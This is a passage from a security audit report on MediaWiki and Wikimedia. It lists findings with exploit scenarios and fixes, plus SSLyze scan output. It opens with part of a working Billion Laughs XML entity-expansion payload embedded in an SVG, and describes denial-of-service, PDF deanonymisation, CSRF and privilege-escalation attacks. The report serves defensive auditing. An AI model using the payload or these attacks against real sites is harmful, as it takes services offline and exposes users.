         <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lo
        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lo
]>
<svg>
<lolz>&lol9;</lolz>
</svg>
```

Listing 4: Example of the *Billion Laughs* attack embedded in an SVG file. This file will cause consumption of 3GB of memory when uploaded.

EXPLOIT SCENARIO: A MediaWiki user wishes to suppress information contained on Wikimedia Foundation's website during a sensitive election period. To accomplish this, the attacker uploads a hostile SVG file containing the *Billion Laughs* attack. The attacker is able to bring the MediaWiki application offline for an extended period during a critical timeframe.

SHORT TERM SOLUTION: Determine if XML DTD support is necessary for the correct processing of uploaded files. Disable DTD parsing if it is unnecessary.

LONG TERM SOLUTION: Set limits on execution time and resource usage for all scripts that perform entity substitution on XML data.

⁶https://en.wikipedia.org/wiki/Billion_laughs

5. Lack of upper limit on password length allows DoS			
Class: Denial of Service	Severity: Medium	Difficulty: Low	

TARGETS: The login page, available at http://devwiki/w/index.php?title=Special:UserLogin.

DESCRIPTION: The application does not have an upper limit on the length of a user-supplied password, which allows for arbitrarily large strings to be passed to the password hashing function. Because passwords are hashed by default using PBKDF2+SHA256 with a cost of 10,000, extremely large passwords can be used to consume large amounts of system resources, resulting in the site becoming unresponsive to other requests.

EXPLOIT SCENARIO: An unauthenticated attacker writes a script that attempts to log into a user account with a very large password, *e.g.* 2–4MB in size. Running this script repeatedly against Wikimedia Foundation endpoints could cause enough servers to consume their resources, causing the site to become unresponsive or inaccessible to legitimate users.

SHORT TERM SOLUTION: Implement an upper limit for password strings—128 characters should be more than sufficient. Enforce this limit before performing any further processing on user-supplied passwords.

LONG TERM SOLUTION: Before performing any compression, decompression or hashing operation, ensure that user-supplied data meets basic sanity parameters in terms of size and length.

6. External reference in PDF		
Class: Data Validation	Severity: Medium	Difficulty: Medium

TARGETS: The upload feature, available at http://devwiki/wiki/Special:Upload.

DESCRIPTION: PDF files can contain references to external content, such as images, audio, and video. Loading external content from a PDF can be used to de-anonymize users who view the PDF directly using Adobe Reader or another PDF reader.

EXPLOIT SCENARIO: An attacker wishes to determine who reads a specific wiki article. The attacker creates a PDF that loads content from an attacker-controlled server, using an existing PDF document related to the article as a base. A user interested in the topic opens the PDF for more information while reading the article and their PDF reader sends a request to the attacker's server, revealing their IP address, and by extension, their location.

SHORT TERM SOLUTION: Provide a click-through warning informing users that PDF documents are active content that could potentially de-anonymize them when viewed directly.

LONG TERM SOLUTION: Convert uploaded PDFs to static images to avoid issues with active content. Ensure the library used for conversion is robust as it will be parsing potentially malicious content on the server side, which could be a greater compromise than individual users. Consider setting up a sandboxed environment.

7. Stored XSS in PDF files

Class: Data Validation

Severity: Medium

Difficulty: Medium

FINDING ID: iSEC-WMF1214-14

TARGETS: The upload feature, available at http://devwiki/wiki/Special:Upload.

DESCRIPTION: The PDF format allows for documents containing embedded JavaScript. During testing, a PDF that executes JavaScript when the document is opened was successfully uploaded.

Testing indicated that this feature only works in Adobe Reader, whereas other readers such as the PDF reader built into Firefox and the PDF reader built into Chrome do not support JavaScript actions.

JavaScript could be used to de-anonymize a user or to attempt exploits against a user. PDF readers execute embedded JavaScript in a sandboxed context that should not have any ability to access data from the wiki domain.

EXPLOIT SCENARIO: An attacker wishes to determine who reads a specific wiki article. The attacker creates a PDF that uses JavaScript to make surreptitious HTTP requests to an attacker-controlled server, using an existing PDF document related to the article as a base. A user interested in the topic opens the PDF for more information while reading the article and their PDF reader sends a request to the attacker, revealing their IP address, and by extension, their location.

SHORT TERM SOLUTION: Provide a click-through warning informing users that PDF documents are active content that could potentially de-anonymize them when viewed directly.

LONG TERM SOLUTION: Convert uploaded PDFs to static images to avoid issues with active content. Ensure the library used for conversion is robust as it will be parsing potentially malicious content on the server side, which could be a greater compromise than individual users. Consider setting up a sandboxed environment.

8. Custom JavaScript may yield privilege escalation			
Class: Data Validation	Severity: Medium	Difficulty: Medium	

TARGETS: User's custom scripts, such as http://devwiki/w/index.php?title=User:Foo/common.js&action= submit.

DESCRIPTION: When editing any user's custom JavaScript, the script is executed whenever the "Show Preview" or "Show Changes" buttons are clicked. This could allow an attacker to trick another user into executing JavaScript which hijacks their session. Because privileged users can edit the JavaScript of lower privileged users, this could lead to privilege escalation.

EXPLOIT SCENARIO: A low-privileged user adds some complex custom JavaScript to their account, with malicious code embedded within that directs people to a fake login screen or performs actions on the victim's behalf. The user complains to an Administrator that they are having difficulty with their custom "skin", and asks the Administrator to change a small portion of the script for them. Upon previewing the edit or viewing changes, the malicious code executes in the context of the Administrator's session.

SHORT TERM SOLUTION: Do not include another user's custom script when previewing or showing changes. These pages should only allow users to edit and view code.

LONG TERM SOLUTION: The custom JavaScript system has two security flaws (see finding 10 on page 27). Consider deprecating this functionality and allowing users to customize the site using client-side code instead.

9. Weak password policy		
Class: Configuration	Severity: Medium	Difficulty: High

· mean

FINDING ID: iSEC-WMF1214-2

TARGETS: The signup page, available at http://devwiki/w/index.php?title=Special:UserLogin&type= signup.

DESCRIPTION: Wikimedia Foundation does not enforce a strong password policy for the MediaWiki application. Upon account creation, a user can enter any password as long as the password is at least 1 character long and different than the user's username. The lack of password complexity requirements often results in a number of users choosing weak passwords, which increases the odds of an attacker to successfully guess user's passwords by performing a brute force or dictionary attack.

EXPLOIT SCENARIO: An attacker makes a small list of very common passwords that likely to be used on MediaWiki, such as "password" or "wiki". The attacker enumerates all usernames and tries to login with the weak passwords. Because of the large amount of users on MediaWiki, and the weak password policy, the success rate of the attack is high, giving the attacker mass acount takeover.

SHORT TERM SOLUTION: Implement and enforce a policy to require complex passwords. The following is an example of a complex password policy.

Passwords should:

- be a minimum of eight characters long
- contain at least one of each of the following:
 - an uppercase letter
 - a lowercase letter
 - a number
 - a special character
- be different than a user's username
- implement a blacklist of passwords that the user cannot use. (e.g., 123456, password, pass-word123, qwerty1!, etc.)

LONG TERM SOLUTION: In addition to enforcing the use of strong passwords, Wikimedia Foundation should require all admins to authenticate using multi-factor authentication, with the option for non-privileged users to opt-in.

10. Lack of registry lock on domain names			
Class: Configuration	Severity: Medium	Difficulty: High	

TARGETS: The DNS configuration of wikimedia.org, wikipedia.org and mediawiki.org.

DESCRIPTION: There is no DNS registry lock on the various domains of the Wikimedia Foundation. iSEC performed DNS WHOIS queries on the target domains and observed that while flags are in place to prevent client transfers, no registry locks are set up to prohibit server transfers. This could allow for a malicious or compromised registrar⁷ to transfer the domain to malicious hosts.

The following listing displays the WHOIS records for wikipedia.org. It has been stripped out of the contact information. Visit http://www.whois.com/whois/wikipedia.org to query up-to-date records.

```
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Domain Status: clientUpdateProhibited
Name Server:NS0.WIKIMEDIA.ORG
Name Server:NS1.WIKIMEDIA.ORG
Name Server:NS2.WIKIMEDIA.ORG
DNSSEC:Unsigned
```

Listing 5: WHOIS records for wikipedia.org.

EXPLOIT SCENARIO: An attacker finds a vulnerability on WMF's registrar and is able to comprise it. The attacker modifies the DNS records of all WMF domains and subdomains and redirects all traffic to their own servers. Because emails are relying on the DNS records, internal WMF communications are also sabotaged, which slows down investigation of the issue.

SHORT TERM SOLUTION: Add a registry lock on all WMF domains by adding the following DNS flags:

```
Domain Status: serverDeleteProhibited
Domain Status: serverTransferProhibited
Domain Status: serverUpdateProhibited
```

Listing 6: Missing flags.

LONG TERM SOLUTION: Consider setting up a backup communication channel that does not depend on WMF domains to avoid interruption in the event of a failure or compromise of the DNS infrastructure of WMF.

⁷http://blog.cloudflare.com/details-behind-todays-internet-hacks/

11. Users can inspect each other's personal JavaScript			
Class: Data Exposure	Severity: Low	Difficulty: Low	

TARGETS: The following pages:

- http://devwiki/w/index.php?title=User:Admin/common.js
- http://devwiki/w/load.php?debug=false&lang=en&modules=user&only=scripts&skin=vector&user= Admin
- http://devwiki/wiki/User:Admin/(skinname).js

DESCRIPTION: MediaWiki allows users to upload custom JavaScript and CSS to alter the interface and functionality of the system. This code is stored as a wiki page, and is visible to any user of the system.

EXPLOIT SCENARIO: A user uploads JavaScript containing personal information that may de-anonymize that user. While the contents of this script are not part of the main indexed website, another user changes the username in one of the above URLs to view the victim's custom code, learning information that may be used to identify the owner of the custom code.

SHORT TERM SOLUTION: Treat custom script the same as other user preferences by disallowing users from examining these customizations unless they are associated with the logged in account.

LONG TERM SOLUTION: The custom JavaScript system has two security flaws (see finding 8 on page 24). Consider deprecating this functionality and allowing users to customize the site using client-side code instead.

12. Check User page lacks Cross Site Request Forgery (CSRF) protection			
Class: Data Validation	Severity: Low	Difficulty: Medium	

TARGETS: The Check User page located at http://devwiki/wiki/Special:CheckUser.

DESCRIPTION: The process to check a corresponding username to IP address and vice versa lacks CSRF protection. CSRF attacks are perpetrated by issuing a request to a protected resource within a web application on behalf of a user without their knowledge. When the server receives the requests, it has no way of distinguishing the forged request from a request sent purposefully by the user. Any user with basic rights on MediaWiki can trick a user with check user rights into submitting multiple look up requests. This will fill the check user log with untrustworthy data.

EXPLOIT SCENARIO: An attacker with basic user rights on MediaWiki makes targeted attacks towards MediaWiki users with check user rights. A user with check user rights is tricked into visiting a site the attacker controls, in turn tricking their browser into sending the request that submits unnecessary check user requests. Although the attacker cannot view the responses, a large number of unnecessary requests can damage the reputation of the valid user.

SHORT TERM SOLUTION: Require a valid wpEditToken to be submitted with each check user request.

LONG TERM SOLUTION: Ensure that this wpEditToken is included with all state-changing requests site-wide. Additionally, update the API such that if this token is not present, the user cannot make any state changing requests.

B. User access roles are public		
Class: Data Exposure	Severity: Informational	Difficulty: Low

TARGETS: The following pages:

- http://devwiki/codwiki/index.php/Special:ActiveUsers
- http://devwiki/codwiki/index.php/Special:GlobalUsers
- http://devwiki/codwiki/index.php/Special:CentralAuth

DESCRIPTION: The target links allow unauthenticated users to look up privileges associated with roles, and the role associated with any existing user. The roles, such as "administrator" or "steward", disclose the list of operations a specific user has permission to perform. An attacker can use this information to enumerate users with higher privileges and create targeted attacks against them.

SHORT TERM SOLUTION: Do not show the user roles in the list of users to unauthenticated users while displaying the list of users. Restrict the Global Account information to the privileged users only.

LONG TERM SOLUTION: Make a chart of what parts of user accounts are considered private or protected, and go through each way of accessing user data and make sure it conforms to specifications. Perform regression checks to verify that there is no information disclosure which can be useful to the attacker.

14. RC4 cipher enabled		
Class: Configuration	Severity: Informational	Difficulty: High

TARGETS: The TLS configuration of WMF servers, such as https://www.mediawiki.org.

DESCRIPTION: The RC4-SHA cipher is enabled in the SSL/TLS configuration of WMF's servers. RC4 is a stream cipher that is often preferred by TLS servers due to its speed; however, security researchers recently demonstrated that this cipher is not suitable to guarantee message confidentiality. The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness thus creating potential for plain text recovery attacks. An advisory from the IETF,⁸ released October 2013, has noted that recent improvements in the attack vectors on RC4 mean that they are on the verge of becoming practically exploitable. As such, the IETF advises that RC4 can no longer be seen as providing sufficient levels of security for TLS sessions. The advisory goes on to require that TLS clients and servers never negotiate the use of RC4 cipher suites.

Because of the deficiencies noted, the IETF advisory, referenced below, states that:

- TLS clients MUST NOT include RC4 cipher suites in the ClientHello message.
- TLS servers MUST NOT select an RC4 cipher suite when a TLS client sends such a cipher suite in the ClientHello message.

Note: In March 2013, there were new attack scenarios proposed that use statistical biases in the RC4 key table to recover plaintext with a large number of TLS encryptions.⁹

The output from the SSLyze scan iSEC used to determine the targets' TLS configuration can be found in Appendix A.1 on the next page.

SHORT TERM SOLUTION: Remove RC4 from production environments. Update the SSL/TLS configuration to only allow cryptographically strong cipher suites. Refer to https://wiki.mozilla.org/Security/ Server_Side_TLS for the latest recommended cipher suite configurations. This list should prefer cipher suites that provide perfect forward secrecy, such as those using elliptic curve Diffie-Hellman (ECDHE).

LONG TERM SOLUTION: Stay abreast of security community news, such that new SSL/TLS attacks or configuration weaknesses can be immediately patched or remedied. Regularly check web server SSL/TLS configuration using tools like SSLyze¹⁰ or SSLLabs.¹¹ Keep cipher suite configurations current with the latest recommended configurations found on the Mozilla Wiki.¹²

⁸http://tools.ietf.org/html/draft-popov-tls-prohibiting-rc4-01

⁹http://home.hiroshima-u.ac.jp/ohigashi/rc4/

¹⁰https://github.com/nabla-c0d3/sslyze/releases

[&]quot;https://www.ssllabs.com/ssltest/

¹²https://wiki.mozilla.org/Security/Server_Side_TLS#Recommended_configurations

Appendices

A Web Application Testing

A.1 SSL/TLS Configuration Testing

SSLyze is a command-line tool that interrogates a server to determine its SSL/TLS configuration details. Below is the SSLyze scan output for www.mediawiki.org.

The important thing to note is that the server's configuration supports RC4-based encryption.

RC4-based cipher suites have been deprecated due to cryptographic flaws and should hence be removed. See finding 14 on the preceding page for more details.

```
root@kali:~# sslyze --regular www.mediawiki.org
REGISTERING AVAILABLE PLUGINS
PluginCertInfo
 PluginSessionResumption
 PluginSessionRenegotiation
 PluginCompression
 PluginOpenSSLCipherSuites
CHECKING HOST(S) AVAILABILITY
www.mediawiki.org:443
                                  => 208.80.154.224:443
SCAN RESULTS FOR WWW.MEDIAWIKI.ORG:443 - 208.80.154.224:443
    * Compression :
       Compression Support: Disabled
 * Certificate :
     Validation w/ Mozilla's CA Store: Certificate is Trusted
     Hostname Validation: OK - Subject Alternative Name Matches
                                    FD0C0F015AE0B66AACEFE7F6AD46C88F764365FD
     SHA1 Fingerprint:
     Common Name:
                                     *.wikipedia.org
     Issuer:
                                     /C=BE/O=GlobalSign nv-sa/CN=GlobalSign
         Organization Validation CA - SHA256 - G2
     Serial Number:
                                    1121972E32A5E5B2E29D472DFEDB72D6276E
     Not Before:
                                    Dec 16 21:24:03 2014 GMT
     Not After:
                                    Feb 19 12:00:00 2017 GMT
     Signature Algorithm:
                                     sha256WithRSAEncryption
     Key Size:
                                     2048
     X509v3 Subject Alternative Name: DNS:*.wikipedia.org, DNS:*.mediawiki.org,
         DNS:*.wikibooks.org, DNS:*.wikidata.org, DNS:*.wikimedia.org, DNS:*.
         wikimediafoundation.org, DNS:*.wikinews.org, DNS:*.wikiquote.org, DNS:*.
         wikisource.org, DNS:*.wikiversity.org, DNS:*.wikivoyage.org, DNS:*.
         wiktionary.org, DNS:*.m.mediawiki.org, DNS:*.m.wikipedia.org, DNS:*.m.
         wikibooks.org, DNS:*.m.wikidata.org, DNS:*.m.wikimedia.org, DNS:*.m.
```

```
wikimediafoundation.org, DNS:*.m.wikinews.org, DNS:*.m.wikiquote.org, DNS
          :*.m.wikisource.org, DNS:*.m.wikiversity.org, DNS:*.m.wikivoyage.org, DNS
          :*.m.wiktionary.org, DNS:*.zero.wikipedia.org, DNS:mediawiki.org, DNS:
          wikibooks.org, DNS:wikidata.org, DNS:wikimedia.org, DNS:wikimediafoundation
          .org, DNS:wikinews.org, DNS:wikiquote.org, DNS:wikisource.org, DNS:
          wikiversity.org, DNS:wikivoyage.org, DNS:wiktionary.org, DNS:wikipedia.org
  * Session Renegotiation :
      Client-initiated Renegotiations:
                                           Rejected
      Secure Renegotiation:
                                           Supported
Unhandled exception when processing --sslv2:
utils.ctSSL.errors.ctSSLFeatureNotAvailable - SSLv2 disabled.
  * Session Resumption :
      With Session IDs:
                                   Supported (5 successful, 0 failed, 0 errors, 5
          total attempts).
      With TLS Session Tickets:
                                  Supported
  * TLSV1_1 Cipher Suites :
      Rejected Cipher Suite(s): Hidden
      Preferred Cipher Suite:
        ECDHE - RSA - AES128 - SHA
                                 128 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
      Accepted Cipher Suite(s):
        ECDHE - RSA - AES256 - SHA
                                 256 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        CAMELLIA256-SHA
                                  256 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        AES256-SHA
                                  256 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        RC4-SHA
                                              HTTP 301 Moved Permanently - https://www
                                128 bits
            .mediawiki.org/wiki/MediaWiki
        ECDHE-RSA-RC4-SHA
                                128 bits
                                              HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
                                                HTTP 301 Moved Permanently - https://
        ECDHE-RSA-AES128-SHA
                                 128 bits
            www.mediawiki.org/wiki/MediaWiki
        CAMELLIA128-SHA
                                  128 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        AES128-SHA
                                  128 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
      Unknown Errors: None
  * TLSV1 Cipher Suites :
      Rejected Cipher Suite(s): Hidden
      Preferred Cipher Suite:
        ECDHE - RSA - AES128 - SHA
                                 128 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
      Accepted Cipher Suite(s):
        ECDHE - RSA - AES256 - SHA
                                  256 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        CAMELLIA256-SHA
                                  256 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        AES256-SHA
                                  256 bits
                                                HTTP 301 Moved Permanently - https://
            www.mediawiki.org/wiki/MediaWiki
        RC4-SHA
                                 128 bits
                                               HTTP 301 Moved Permanently - https://
```

www.mediawiki.org/wiki/MediaWiki ECDHE-RSA-RC4-SHA HTTP 301 Moved Permanently - https:// 128 bits www.mediawiki.org/wiki/MediaWiki ECDHE-RSA-AES128-SHA 128 bits HTTP 301 Moved Permanently - https:// www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// CAMELLIA128-SHA 128 bits www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// AES128-SHA 128 bits www.mediawiki.org/wiki/MediaWiki Unknown Errors: None * SSLV3 Cipher Suites : Rejected Cipher Suite(s): Hidden Preferred Cipher Suite: None Accepted Cipher Suite(s): None Unknown Errors: None * TLSV1_2 Cipher Suites : Rejected Cipher Suite(s): Hidden Preferred Cipher Suite: ECDHE-RSA-AES128-GCM-SHA256128 bits HTTP 301 Moved Permanently - https ://www.mediawiki.org/wiki/MediaWiki Accepted Cipher Suite(s): HTTP 301 Moved Permanently - https:// ECDHE-RSA-AES256-SHA384 256 bits www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// ECDHE - RSA - AES256 - SHA 256 bits www.mediawiki.org/wiki/MediaWiki ECDHE-RSA-AES256-GCM-SHA384256 bits HTTP 301 Moved Permanently - https ://www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// CAMELLIA256-SHA 256 bits www.mediawiki.org/wiki/MediaWiki AES256-SHA256 256 bits HTTP 301 Moved Permanently - https:// www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// AES256-SHA 256 bits www.mediawiki.org/wiki/MediaWiki AES256-GCM-SHA384 256 bits HTTP 301 Moved Permanently - https:// www.mediawiki.org/wiki/MediaWiki RC4-SHA 128 bits HTTP 301 Moved Permanently - https:// www.mediawiki.org/wiki/MediaWiki ECDHE-RSA-RC4-SHA HTTP 301 Moved Permanently - https:// 128 bits www.mediawiki.org/wiki/MediaWiki ECDHE-RSA-AES128-SHA256 128 bits HTTP 301 Moved Permanently - https:// www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// ECDHE-RSA-AES128-SHA 128 bits www.mediawiki.org/wiki/MediaWiki ECDHE-RSA-AES128-GCM-SHA256128 bits HTTP 301 Moved Permanently - https ://www.mediawiki.org/wiki/MediaWiki CAMELLIA128-SHA 128 bits HTTP 301 Moved Permanently - https:// www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// AES128-SHA256 128 bits www.mediawiki.org/wiki/MediaWiki HTTP 301 Moved Permanently - https:// AES128-SHA 128 bits www.mediawiki.org/wiki/MediaWiki AES128-GCM-SHA256 HTTP 301 Moved Permanently - https:// 128 bits www.mediawiki.org/wiki/MediaWiki

Unknown Errors: None

SCAN COMPLETED IN 5.98 S

Listing 7: SSLyze Scan Output for www.mediawiki.org